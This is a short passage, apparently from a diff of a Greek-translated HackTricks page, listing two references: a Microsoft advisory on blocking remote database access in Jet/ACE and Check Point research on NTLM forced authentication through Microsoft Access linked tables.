- [Microsoft KB5002984 – Ρύθμιση του Jet/ACE για να αποκλείει απομακρυσμένα τραπέζια](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||
- [Check Point Research – Κατάχρηση των Συνδεδεμένων Τραπεζών Microsoft Access για NTLM Αναγκαστική Αυθεντικοποίηση (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user